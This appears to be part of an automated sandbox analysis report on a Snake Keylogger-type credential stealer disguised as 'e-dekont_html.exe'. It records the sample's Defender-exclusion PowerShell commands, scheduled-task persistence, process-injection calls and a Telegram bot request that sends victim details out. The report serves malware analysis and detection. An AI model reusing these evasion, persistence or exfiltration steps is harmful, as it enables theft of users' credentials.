cfL4;desc="?proto=TCP&rtt=1968&sent=6&recv=6&lost=0&retrans=1&sent_bytes=4240&recv_bytes=698&delivery_rate=235737&cwnd=253&unsent_bytes=0&cid=d19b7feee4aa9e1e&ts=168&x=0"
2024-11-20 06:52:31 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	61289	188.114.96.3	443	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:32 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 06:52:32 UTC	850	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:32 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49461 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4KbcABO6sp%2Fb4cdgPQOA9vqXAkHYdK1%2Ftfzxh1dCrS0PNeVKdFRTWkPuz7%2BEPHqsEcOEsH6Vm1ZPwLkuzRYjQo5k66afu4cU1DvDL1BPNNEt7YStrgTX40Aoxl3YLnVCZwS9pBgE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56848cc9d4c463-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1451&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1931216&cwnd=159&unsent_bytes=0&cid=64719943dae0da0f&ts=155&x=0"
2024-11-20 06:52:32 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	61290	149.154.167.220	443	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:32 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2017:43:06%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-20 06:52:33 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Nov 2024 06:52:32 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-20 06:52:33 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	01:52:04
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\e-dekont_html.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\e-dekont_html.exe"
Imagebase:	0x8a0000
File size:	709'120 bytes
MD5 hash:	3C1D34A25A8B8A96896E746F13C346BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:52:07
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe"
Imagebase:	0x5a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:52:07
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:52:08
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fahKSvwo.exe"
Imagebase:	0x5a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:52:08
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:52:08
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp"
Imagebase:	0x430000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:52:08
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:52:08
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\e-dekont_html.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\e-dekont_html.exe"
Imagebase:	0xa00000
File size:	709'120 bytes
MD5 hash:	3C1D34A25A8B8A96896E746F13C346BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.4161363308.0000000002E99000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:52:10
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\fahKSvwo.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\fahKSvwo.exe
Imagebase:	0x8e0000
File size:	709'120 bytes
MD5 hash:	3C1D34A25A8B8A96896E746F13C346BF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs Detection: 67%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:52:12
Start date:	20/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:52:14
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp8A49.tmp"
Imagebase:	0x430000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:52:14
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:52:15
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\fahKSvwo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\fahKSvwo.exe"
Imagebase:	0xdd0000
File size:	709'120 bytes
MD5 hash:	3C1D34A25A8B8A96896E746F13C346BF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4158045385.000000000043D000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	184
Total number of Limit Nodes:	11

Executed Functions

Function 08F00040 Relevance: 15.6, Strings: 10, Instructions: 3141COMMON

Download Yara Rule

Strings

4'fq, xrefs: 08F01F11
$fq, xrefs: 08F02D00
(ofq, xrefs: 08F00116
4|kq, xrefs: 08F02E43
4'fq, xrefs: 08F02CAE
4'fq, xrefs: 08F02C53
4'fq, xrefs: 08F02CDE
4|kq, xrefs: 08F02E28
4'fq, xrefs: 08F00EA3
4'fq, xrefs: 08F0102B

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: (ofq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4|kq$4|kq$$fq
API String ID: 0-2750812312
Opcode ID: b63659728bc559bfb70ac1dc6e5c8ce9a99a79e2c7f1584df11f5600205bb87d
Instruction ID: 634f3cc4f07f0ad9594822cdbfb34e119d7e67a4fc1b4d0674512205b4309a72
Opcode Fuzzy Hash: b63659728bc559bfb70ac1dc6e5c8ce9a99a79e2c7f1584df11f5600205bb87d
Instruction Fuzzy Hash: F0631974A00219CFCB25DF6CC888A9DBBB2BF89311F158599D459AB3A1DB30ED81DF50

Function 08F034B8 Relevance: 5.6, Strings: 4, Instructions: 562
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:, xrefs: 08F03737
~, xrefs: 08F036D6
4'fq, xrefs: 08F03874
pjq, xrefs: 08F0393D

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 4'fq$:$pjq$~
API String ID: 0-2740937384
Opcode ID: 3551dcffff4785e4452eee1e2b44396ad83489c32be04c3931692e4c649694d6
Instruction ID: 372609cdbf40ff15b8a5ef6df8ece25c702dd45b0d9e7a80ec047aa998858862
Opcode Fuzzy Hash: 3551dcffff4785e4452eee1e2b44396ad83489c32be04c3931692e4c649694d6
Instruction Fuzzy Hash: 6A42A079A04228DFDB15CFA9C984B99BBB2FF48304F1580E9E509AB361D7319D91DF10

Function 076B6508 Relevance: .4, Instructions: 403COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 191e39dc6d8c811fd2c048021a63ddfd43670fdd07ad2fc102fd2309826a26cd
Instruction ID: 410c45f6c946ca92c8dfb17e732fbdefd9eb22095b9e70eaafe9c02fdb1dfd6b
Opcode Fuzzy Hash: 191e39dc6d8c811fd2c048021a63ddfd43670fdd07ad2fc102fd2309826a26cd
Instruction Fuzzy Hash: BFE1CAB1B012059FDB29DB79C490BEEB7FAAF8A740F1444ADD1469B390DB31E881CB51

Function 076B4965 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ec0d558768920c0ec60961031f26aa01e5a61252f278c378470a2fb60f256ea
Instruction ID: 5fdf68647fd95b7f7fc4479e0682e3ee94e9522dd516e1160f3a50f9647fc3fe
Opcode Fuzzy Hash: 5ec0d558768920c0ec60961031f26aa01e5a61252f278c378470a2fb60f256ea
Instruction Fuzzy Hash: 5FE012F8D5E288CFC7229E6458945F57BBDA74B204F0930EA808BA7253D52545D38B19

Function 012BCFFA Relevance: 6.1, APIs: 4, Instructions: 129
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 012BD07E
GetCurrentThread.KERNEL32 ref: 012BD0BB
GetCurrentProcess.KERNEL32 ref: 012BD0F8
GetCurrentThreadId.KERNEL32 ref: 012BD151

Memory Dump Source

Source File: 00000000.00000002.1768343651.00000000012B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12b0000_e-dekont_html.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 9a0e5e333b8f302599cbe61600b93ba4ccbb783e9aac4b1402e272ca03842668
Instruction ID: 4a6ff544426e2bffbd7c2c43c14b300b7ae0512a3207bd4bcffd14907e7b170a
Opcode Fuzzy Hash: 9a0e5e333b8f302599cbe61600b93ba4ccbb783e9aac4b1402e272ca03842668
Instruction Fuzzy Hash: 685175B09002498FDB18CFA9C988BEEBFF1EF88314F248559E419A73A0CB345944CF65

Function 012BD000 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 012BD07E
GetCurrentThread.KERNEL32 ref: 012BD0BB
GetCurrentProcess.KERNEL32 ref: 012BD0F8
GetCurrentThreadId.KERNEL32 ref: 012BD151

Memory Dump Source

Source File: 00000000.00000002.1768343651.00000000012B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12b0000_e-dekont_html.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 89f9e6d95d30be5d2d118ef34179200b98c9d0793769682997a5a8e9c2a63b46
Instruction ID: c5dad34e1b23bc90b577e6f598db69383aedf439e3a8272b368ddd52f3305789
Opcode Fuzzy Hash: 89f9e6d95d30be5d2d118ef34179200b98c9d0793769682997a5a8e9c2a63b46
Instruction Fuzzy Hash: 075165B09102498FDB18CFA9C988BDEBFF1EF48314F208559E419A73A0DB345944CB65

Function 076B13C4 Relevance: 1.8, APIs: 1, Instructions: 250
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 076B1606

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b68ed53aa28d4e52dd823b77239613e1549c9e9280990385ae643de2543bb3b4
Instruction ID: 6f6beb5c8cc5fc1119dbeaee21c46efe58d136968ce10f729643d29d5099e52f
Opcode Fuzzy Hash: b68ed53aa28d4e52dd823b77239613e1549c9e9280990385ae643de2543bb3b4
Instruction Fuzzy Hash: E4A14DB1D0021EDFDF24CFA8C9917EDBBB2AF4A310F148169E819A7250E7749985CF91

Function 076B13D0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 076B1606

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4cea5b714a050136dde46c71af4e5a2cde0ed9d19f2c46127846e97dec03d7e9
Instruction ID: 287dd8ab9bff4addc0c40dba2e9618c2b92e4c818a421e37237f6058e74ea20d
Opcode Fuzzy Hash: 4cea5b714a050136dde46c71af4e5a2cde0ed9d19f2c46127846e97dec03d7e9
Instruction Fuzzy Hash: 74914CB1D0021EDFDF24CF68C9517EDBBB2AF4A310F148169D819A7250E7749985CF91

Function 08F0F8B0 Relevance: 1.6, Strings: 1, Instructions: 369
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'fq, xrefs: 08F0FDC0

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: aecf80df307d97b19e1833c2d11166bb2efcd97f8e3002de8acbe3df55a4d6de
Instruction ID: 39aaa2f64ed210055392baa58b42f564866312d6273bc09b295e17939e6bce5a
Opcode Fuzzy Hash: aecf80df307d97b19e1833c2d11166bb2efcd97f8e3002de8acbe3df55a4d6de
Instruction Fuzzy Hash: 80E13B74E00219DFCB05EBF8D994AAEBBB2EB88300F148059E505A7394DF35AD81EF51

Function 012B5A84 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1768343651.00000000012B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12b0000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04d13fb013c32dca2ea983e03f39f52d6478b0f4d36d84f507aa18647e44426c
Instruction ID: 4ff3eb98f236123a8671e1ec0d184c17860915e2dd8f0a503f4ff93a1043fe63
Opcode Fuzzy Hash: 04d13fb013c32dca2ea983e03f39f52d6478b0f4d36d84f507aa18647e44426c
Instruction Fuzzy Hash: 7E41BFB1814749CFDF21CFA8C8856EEBBB0EF56364F14418AC545AF252C775A94ACF80

Function 012B44B4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 012B59C9

Memory Dump Source

Source File: 00000000.00000002.1768343651.00000000012B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12b0000_e-dekont_html.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 042c802834d697f80659eca01b58e98dc385734a271aae0daa8b1cb3b91aaa02
Instruction ID: 98e1085890e37bc4dcc196ff2363c1de9349ddafe8c0d045468dcaaf8dda4f8f
Opcode Fuzzy Hash: 042c802834d697f80659eca01b58e98dc385734a271aae0daa8b1cb3b91aaa02
Instruction Fuzzy Hash: BF41DEB0C10719CBDB24DFAAC984BCEBBF5BF49304F20806AD509AB251DB756946CF90

Function 012B590C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 012B59C9

Memory Dump Source

Source File: 00000000.00000002.1768343651.00000000012B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12b0000_e-dekont_html.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 013c506a91e1a78b58237e0c4d447809af1d383547b4a6d036977e70f939cd07
Instruction ID: d543610ca5e63b9c6ccb477193d4c22364400a21f42272ece1842a3f8beda369
Opcode Fuzzy Hash: 013c506a91e1a78b58237e0c4d447809af1d383547b4a6d036977e70f939cd07
Instruction Fuzzy Hash: B741DEB0C00719CBDB25DFAAC984BCEBBF5BF49304F24806AD408AB251DB756946CF90

Function 076B1141 Relevance: 1.6, APIs: 1, Instructions: 73
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 076B11D8

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 071e5d6a751883cbf0571f7dfcfeda4705ea00cdaaacbc892769c7f753969397
Instruction ID: 74ca06d90274606d6865b9c93723811e945eb81a41fe2995ec779dece1f801de
Opcode Fuzzy Hash: 071e5d6a751883cbf0571f7dfcfeda4705ea00cdaaacbc892769c7f753969397
Instruction Fuzzy Hash: 7E2139B590034ADFDB14CFA9C981BDEBBF5FF48320F10842AE519A7240C778A544DB60

Function 076B0B70 Relevance: 1.6, APIs: 1, Instructions: 69
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 076B0BF6

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c022c76d6c0289b3eb7159fc2e879f794aac439e0cb64f1560787b19baf9465d
Instruction ID: 7e88107d0dd2af7c44611da1beca21bde2ac4c25c25496fbccf83cd78285858e
Opcode Fuzzy Hash: c022c76d6c0289b3eb7159fc2e879f794aac439e0cb64f1560787b19baf9465d
Instruction Fuzzy Hash: A82148B59002098FDB20DFAAC485BEEFFF4AF49324F14842AD419A7341C7789545CFA1

Function 076B1148 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 076B11D8

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c704bcb53c88d3918cefd060293cbc770ebb1360c5840ab4b0bd4ba5224a4b43
Instruction ID: 3e5da9c00b03115cfd0bcb3e070c1aa45f63aed430dc1b2f1b501edbde5eac3b
Opcode Fuzzy Hash: c704bcb53c88d3918cefd060293cbc770ebb1360c5840ab4b0bd4ba5224a4b43
Instruction Fuzzy Hash: 082128B19003499FDB14CFA9C981BDEBBF5FF88320F108429E919A7340C7789544DB60

Function 076B1230 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 076B12B8

Memory Dump Source

